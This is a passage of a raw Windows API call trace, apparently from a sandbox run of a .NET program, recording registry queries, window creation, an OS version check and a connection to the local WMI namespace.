lpFileInformation=0x36e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf973529, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf973529, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f930120, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0074.359] GetLastError () returned 0x2 [0074.359] SetErrorMode (uMode=0x0) returned 0x1 [0074.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x36dde4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0074.360] GetLastError () returned 0x2 [0074.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x36dd70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0074.360] GetLastError () returned 0x2 [0074.495] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x36dd9c | out: pfEnabled=0x36dd9c) returned 0x0 [0074.510] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x36e3c0 | out: phkResult=0x36e3c0*=0x1bc) returned 0x0 [0074.512] RegQueryValueExW (in: hKey=0x1bc, lpValueName="ProductId", lpReserved=0x0, lpType=0x36e404, lpData=0x0, lpcbData=0x36e400*=0x0 | out: lpType=0x36e404*=0x0, lpData=0x0, lpcbData=0x36e400*=0x0) returned 0x2 [0074.844] lstrlenW (lpString="䅁") returned 1 [0074.846] GetModuleHandleW (lpModuleName="user32.dll") returned 0x76c00000 [0074.847] GetProcAddress (hModule=0x76c00000, lpProcName="DefWindowProcW") returned 0x773725dd [0074.849] GetStockObject (i=5) returned 0x1900015 [0074.849] GetLastError () returned 0x0 [0074.849] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0074.856] CoTaskMemAlloc (cb=0x4c) returned 0x85d5f0 [0074.856] RegisterClassW (lpWndClass=0x85f2e0) returned 0xc1c5 [0074.856] GetLastError () returned 0x0 [0074.856] CoTaskMemFree (pv=0x85d5f0) [0074.856] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0074.858] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x30234 [0074.860] SetWindowLongW (hWnd=0x30234, nIndex=-4, dwNewLong=2000102877) returned 10292850 [0074.862] GetWindowLongW (hWnd=0x30234, nIndex=-4) returned 2000102877 [0074.865] GetCurrentProcess () returned 0xffffffff [0074.865] GetCurrentThread () returned 0xfffffffe [0074.865] GetCurrentProcess () returned 0xffffffff [0074.866] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x36dc2c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x36dc2c*=0x1b8) returned 1 [0074.866] GetLastError () returned 0x0 [0074.868] GetCurrentThreadId () returned 0x7e8 [0074.871] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x36db98 | out: phkResult=0x36db98*=0x1c0) returned 0x0 [0074.871] RegQueryValueExW (in: hKey=0x1c0, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x36dbe0, lpData=0x0, lpcbData=0x36dbdc*=0x0 | out: lpType=0x36dbe0*=0x0, lpData=0x0, lpcbData=0x36dbdc*=0x0) returned 0x2 [0074.871] RegQueryValueExW (in: hKey=0x1c0, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x36dbe0, lpData=0x0, lpcbData=0x36dbdc*=0x0 | out: lpType=0x36dbe0*=0x0, lpData=0x0, lpcbData=0x36dbdc*=0x0) returned 0x2 [0074.872] RegCloseKey (hKey=0x1c0) returned 0x0 [0074.876] SetWindowLongW (hWnd=0x30234, nIndex=-4, dwNewLong=10293170) returned 2000102877 [0074.876] GetWindowLongW (hWnd=0x30234, nIndex=-4) returned 10293170 [0074.876] GetWindowLongW (hWnd=0x30234, nIndex=-16) returned 79691776 [0074.912] CallWindowProcW (lpPrevWndFunc=0x773725dd, hWnd=0x30234, Msg=0x24, wParam=0x0, lParam=0x36de74) returned 0x0 [0074.912] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc1c6 [0074.912] CallWindowProcW (lpPrevWndFunc=0x773725dd, hWnd=0x30234, Msg=0x81, wParam=0x0, lParam=0x36de68) returned 0x1 [0074.915] CallWindowProcW (lpPrevWndFunc=0x773725dd, hWnd=0x30234, Msg=0x83, wParam=0x0, lParam=0x36de54) returned 0x0 [0074.917] CallWindowProcW (lpPrevWndFunc=0x773725dd, hWnd=0x30234, Msg=0x1, wParam=0x0, lParam=0x36de68) returned 0x0 [0074.918] GetLastError () returned 0x0 [0075.462] GetVersionExW (in: lpVersionInformation=0x864f28*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x864f28*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0075.462] GetLastError () returned 0x0 [0075.489] CreateBindCtx (in: reserved=0x0, ppbc=0x36ea20 | out: ppbc=0x36ea20*=0x87bde8) returned 0x0 [0075.489] IUnknown:QueryInterface (in: This=0x87bde8, riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e2c8 | out: ppvObject=0x36e2c8*=0x87bde8) returned 0x0 [0075.489] IUnknown:QueryInterface (in: This=0x87bde8, riid=0x73be4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x36e284 | out: ppvObject=0x36e284*=0x0) returned 0x80004002 [0075.491] IUnknown:QueryInterface (in: This=0x87bde8, riid=0x73b10b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x36e178 | out: ppvObject=0x36e178*=0x0) returned 0x80004002 [0075.491] IUnknown:AddRef (This=0x87bde8) returned 0x3 [0075.491] CoGetContextToken (in: pToken=0x36e110 | out: pToken=0x36e110) returned 0x0 [0075.491] CoGetContextToken (in: pToken=0x36e0d4 | out: pToken=0x36e0d4) returned 0x0 [0075.491] CObjectContext::QueryInterface () returned 0x0 [0075.492] CObjectContext::GetCurrentApartmentType () returned 0x0 [0075.492] Release () returned 0x0 [0075.492] CoGetObjectContext (in: riid=0x73bc7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x861024 | out: ppv=0x861024*=0x8596b8) returned 0x0 [0075.515] IUnknown:QueryInterface (in: This=0x87bde8, riid=0x73ac23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e0f8 | out: ppvObject=0x36e0f8*=0x0) returned 0x80004002 [0075.515] CoGetContextToken (in: pToken=0x36e108 | out: pToken=0x36e108) returned 0x0 [0075.515] IUnknown:AddRef (This=0x87bde8) returned 0x4 [0075.515] IUnknown:QueryInterface (in: This=0x87bde8, riid=0x73b1767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e17c | out: ppvObject=0x36e17c*=0x0) returned 0x80004002 [0075.515] IUnknown:Release (This=0x87bde8) returned 0x3 [0075.516] IUnknown:Release (This=0x87bde8) returned 0x2 [0075.516] CoGetContextToken (in: pToken=0x36e57c | out: pToken=0x36e57c) returned 0x0 [0075.516] CoGetContextToken (in: pToken=0x36e53c | out: pToken=0x36e53c) returned 0x0 [0075.516] IUnknown:AddRef (This=0x87bde8) returned 0x3 [0075.516] IUnknown:QueryInterface (in: This=0x87bde8, riid=0x36e5b8*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e5b4 | out: ppvObject=0x36e5b4*=0x87bde8) returned 0x0 [0075.516] IUnknown:Release (This=0x87bde8) returned 0x3 [0075.516] IUnknown:Release (This=0x87bde8) returned 0x2 [0075.516] IUnknown:Release (This=0x87bde8) returned 0x1 [0075.518] CoGetContextToken (in: pToken=0x36e5e0 | out: pToken=0x36e5e0) returned 0x0 [0075.518] CoGetContextToken (in: pToken=0x36e5a0 | out: pToken=0x36e5a0) returned 0x0 [0075.518] IUnknown:AddRef (This=0x87bde8) returned 0x2 [0075.518] IUnknown:QueryInterface (in: This=0x87bde8, riid=0x36e61c*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e618 | out: ppvObject=0x36e618*=0x87bde8) returned 0x0 [0075.519] IUnknown:Release (This=0x87bde8) returned 0x2 [0075.519] IUnknown:AddRef (This=0x87bde8) returned 0x3 [0075.519] MkParseDisplayName (in: pbc=0x87bde8, szUserName="WinMgmts:", pchEaten=0x36eaac, ppmk=0x36e9f0 | out: pchEaten=0x36eaac, ppmk=0x36e9f0*=0x89e200) returned 0x0 [0075.854] malloc (_Size=0x80) returned 0xac2e78 [0075.857] DllGetClassObject (in: rclsid=0x89866c*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x36e630*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x36dce8 | out: ppv=0x36dce8*=0x0) returned 0x80004002 [0075.857] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0810 [0075.857] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0075.858] DllGetClassObject (in: rclsid=0x89866c*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x76daee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x36e7e4 | out: ppv=0x36e7e4*=0x52e0810) returned 0x0 [0075.858] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0810 [0075.858] WinMGMTS:IClassFactory:CreateInstance (in: This=0x52e0810, pUnkOuter=0x0, riid=0x76daf084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e790 | out: ppvObject=0x36e790*=0x52e0850) returned 0x0 [0075.858] GetVersionExW (in: lpVersionInformation=0x36e5dc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x36e640, szCSDVersion="塩皟\x08쀕") | out: lpVersionInformation=0x36e5dc*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0075.858] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x36e5d0 | out: phkResult=0x36e5d0*=0x248) returned 0x0 [0075.858] RegQueryValueExW (in: hKey=0x248, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x36e5d8, lpcbData=0x36e5d4*=0x4 | out: lpType=0x0, lpData=0x36e5d8*=0x3, lpcbData=0x36e5d4*=0x4) returned 0x0 [0075.858] RegCloseKey (hKey=0x248) returned 0x0 [0075.858] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0828 [0075.858] GetSystemDirectoryW (in: lpBuffer=0x52e0828, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0075.858] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x75220000 [0075.859] GetProcAddress (hModule=0x75220000, lpProcName="DuplicateTokenEx") returned 0x7522ca24 [0075.859] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0075.859] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0828 [0075.860] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0850 [0075.860] WinMGMTS:IUnknown:Release (This=0x52e0810) returned 0x0 [0075.860] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0075.860] WinMGMTS:IParseDisplayName:ParseDisplayName (in: This=0x52e0850, pbc=0x87bde8, pszDisplayName="WinMgmts:", pchEaten=0x36e9a8, ppmkOut=0x36e9ac | out: pchEaten=0x36e9a8*=0x9, ppmkOut=0x36e9ac*=0x89e200) returned 0x0 [0075.860] _wcsnicmp (_String1="WinMgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0 [0075.861] IBindCtx:GetObjectParam (in: This=0x87bde8, pszKey="WmiObject", ppunk=0x36e8b0 | out: ppunk=0x36e8b0*=0x0) returned 0x80004005 [0075.861] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0860 [0075.862] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123 [0075.862] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0880 [0075.862] CoCreateInstance (in: rclsid=0x746842b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x746842a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x52e0898 | out: ppv=0x52e0898*=0x52e08e8) returned 0x0 [0075.946] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e08f8 [0075.946] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0960 [0075.946] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e09c0 [0075.946] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0075.947] GetCurrentThreadId () returned 0x7e8 [0075.947] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91 [0075.947] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0075.947] GetCurrentThreadId () returned 0x7e8 [0075.947] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x36e798 | out: phkResult=0x36e798*=0x250) returned 0x0 [0075.947] RegQueryValueExW (in: hKey=0x250, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x36e7a0*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x36e7a0*=0x16) returned 0x0 [0075.947] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e09e0 [0075.947] RegQueryValueExW (in: hKey=0x250, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x52e09e0, lpcbData=0x36e7a0*=0x16 | out: lpType=0x0, lpData=0x52e09e0*=0x72, lpcbData=0x36e7a0*=0x16) returned 0x0 [0075.947] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0a00 [0075.947] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0075.947] RegCloseKey (hKey=0x250) returned 0x0 [0075.947] CoCreateInstance (in: rclsid=0x746853b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x746850dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x36e7cc | out: ppv=0x36e7cc*=0x52e0a20) returned 0x0 [0076.042] SysStringLen (param_1=".") returned 0x1 [0076.042] WbemDefPath:IWbemPath:SetServer (This=0x52e0a20, Name=".") returned 0x0 [0076.042] CoCreateInstance (in: rclsid=0x746853b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x746850dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x36e784 | out: ppv=0x36e784*=0x52e0ab8) returned 0x0 [0076.043] CoCreateInstance (in: rclsid=0x746853b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x746850dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x36e728 | out: ppv=0x36e728*=0x52e0b50) returned 0x0 [0076.043] WbemDefPath:IWbemPath:SetText (This=0x52e0b50, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0076.043] WbemDefPath:IUnknown:Release (This=0x52e0b50) returned 0x0 [0076.043] SysStringLen (param_1="root\\cimv2") returned 0xa [0076.043] WbemDefPath:IWbemPath:SetText (This=0x52e0ab8, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0076.043] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x52e0ab8, puCount=0x36e794 | out: puCount=0x36e794*=0x2) returned 0x0 [0076.043] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x52e0a20) returned 0x0 [0076.043] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x52e0ab8, uIndex=0x0, puNameBufLength=0x36e75c*=0x0, pName=0x0 | out: puNameBufLength=0x36e75c*=0x5, pName=0x0) returned 0x0 [0076.043] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0b50 [0076.043] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x52e0ab8, uIndex=0x0, puNameBufLength=0x36e75c*=0x5, pName="ಀԮÄԮ" | out: puNameBufLength=0x36e75c*=0x5, pName="root") returned 0x0 [0076.043] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0076.043] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x52e0a20, uIndex=0x0, pszName="root") returned 0x0 [0076.043] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x52e0ab8, uIndex=0x1, puNameBufLength=0x36e75c*=0x0, pName=0x0 | out: puNameBufLength=0x36e75c*=0x6, pName=0x0) returned 0x0 [0076.043] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0ce8 [0076.043] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x52e0ab8, uIndex=0x1, puNameBufLength=0x36e75c*=0x6, pName="ÄԮÄԮ2" | out: puNameBufLength=0x36e75c*=0x6, pName="cimv2") returned 0x0 [0076.043] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0076.043] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x52e0a20, uIndex=0x1, pszName="cimv2") returned 0x0 [0076.043] WbemDefPath:IUnknown:Release (This=0x52e0ab8) returned 0x0 [0076.043] WbemDefPath:IWbemPath:GetText (in: This=0x52e0a20, lFlags=4, puBuffLength=0x36e7b0*=0x0, pszText=0x0 | out: puBuffLength=0x36e7b0*=0xf, pszText=0x0) returned 0x0 [0076.044] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52e0ab8 [0076.044] WbemDefPath:IWbemPath:GetText (in: This=0x52e0a20, lFlags=4, puBuffLength=0x36e7b0*=0xf, pszText="୰ԮৠԮ2" | out: puBuffLength=0x36e7b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0076.044] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0076.044] WbemDefPath:IUnknown:Release (This=0x52e0a20) returned 0x0 [0076.044] WbemLocator:IWbemLocator:ConnectServer (in: This=0x52e08e8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x36e838 | out: ppNamespace=0x36e838*=0x52ed194) returned 0x0 [0076.802] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ec898 [0076.802] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ed1a8 [0076.802] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ed208 [0076.802] WbemLocator:IUnknown:QueryInterface (in: This=0x52ed194, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e708 | out: ppvObject=0x36e708*=0x89be7c) returned 0x0 [0076.802] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x89be7c, pProxy=0x52ed194, pAuthnSvc=0x36e6f8, pAuthzSvc=0x36e6fc, pServerPrincName=0x0, pAuthnLevel=0x36e724, pImpLevel=0x36e720, pAuthInfo=0x0, pCapabilites=0x36e710 | out: pAuthnSvc=0x36e6f8*=0xa, pAuthzSvc=0x36e6fc*=0x0, pServerPrincName=0x0, pAuthnLevel=0x36e724*=0x6, pImpLevel=0x36e720*=0x2, pAuthInfo=0x0, pCapabilites=0x36e710*=0x1) returned 0x0 [0076.802] WbemLocator:IUnknown:Release (This=0x89be7c) returned 0x1 [0076.802] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0076.802] GetCurrentThreadId () returned 0x7e8 [0076.803] WbemLocator:IUnknown:QueryInterface (in: This=0x52ed194, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e738 | out: ppvObject=0x36e738*=0x89be7c) returned 0x0 [0076.803] WbemLocator:IClientSecurity:CopyProxy (in: This=0x89be7c, pProxy=0x52ed194, ppCopy=0x36e73c | out: ppCopy=0x36e73c*=0x52ed304) returned 0x0 [0076.803] WbemLocator:IUnknown:QueryInterface (in: This=0x52ed304, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e654 | out: ppvObject=0x36e654*=0x89be7c) returned 0x0 [0076.803] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x89be7c, pProxy=0x52ed304, pAuthnSvc=0x36e678, pAuthzSvc=0x36e668, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x36e678*=0xa, pAuthzSvc=0x36e668*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0076.803] WbemLocator:IUnknown:Release (This=0x89be7c) returned 0x3 [0076.803] WbemLocator:IUnknown:QueryInterface (in: This=0x52ed304, riid=0x746834f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e62c | out: ppvObject=0x36e62c*=0x89be9c) returned 0x0 [0076.803] WbemLocator:IUnknown:QueryInterface (in: This=0x52ed304, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e630 | out: ppvObject=0x36e630*=0x89be7c) returned 0x0 [0076.803] WbemLocator:IClientSecurity:SetBlanket (This=0x89be7c, pProxy=0x52ed304, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0076.803] WbemLocator:IUnknown:Release (This=0x89be7c) returned 0x4 [0076.803] WbemLocator:IUnknown:Release (This=0x89be9c) returned 0x3 [0076.803] WbemLocator:IUnknown:Release (This=0x89be7c) returned 0x2 [0076.804] WbemLocator:IUnknown:AddRef (This=0x52ed304) returned 0x3 [0076.804] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ed318 [0076.804] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x52ec968 [0076.804] WbemLocator:IUnknown:Release (This=0x52ed194) returned 0x2 [0076.804] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0076.804] GetCurrentThreadId () returned 0x7e8 [0076.804] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0076.804] GetCurrentThreadId () returned 0x7e8 [0076.804] WbemLocator:IUnknown:QueryInterface (in: This=0x52ed304, riid=0x746831fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x36e7fc | out: ppvObject=0x36e7fc*=0x89be7c) returned 0x0 [0076.804] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x89be7c, pProxy=0x52ed304, pAuthnSvc=0x36e7ec, pAuthzSvc=0x36e7f0, pServerPrincName=0x0, pAuthnLevel=0x36e81c, pImpLevel=0x36e820, pAuthInfo=0x0, pCapabilites=0x36e804 | out: pAuthnSvc=0x36e7ec*=0xa, pAuthzSvc=0x36e7f0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x36e81c*=0x6, pImpLevel=0x36e820*=0x3, pAuthInfo=0x0, pCapabilites=0x36e804*=0x20) returned 0x0 [0076.804] WbemLocator:IUnknown:Release (This=0x89be7c) returned 0x2 [0076.804] CreatePointerMoniker (in: punk=0x52ec898, ppmk=0x36e9ac | out: ppmk=0x36e9ac*=0x89e200) returned 0x0 [0076.804] IUnknown:AddRef (This=0x52ec898) returned 0x2 [0076.805] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0076.805] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0076.805] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0076.805] WbemLocator:IUnknown:Release (This=0x52e08e8) returned 0x0 [0076.805] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0076.805] 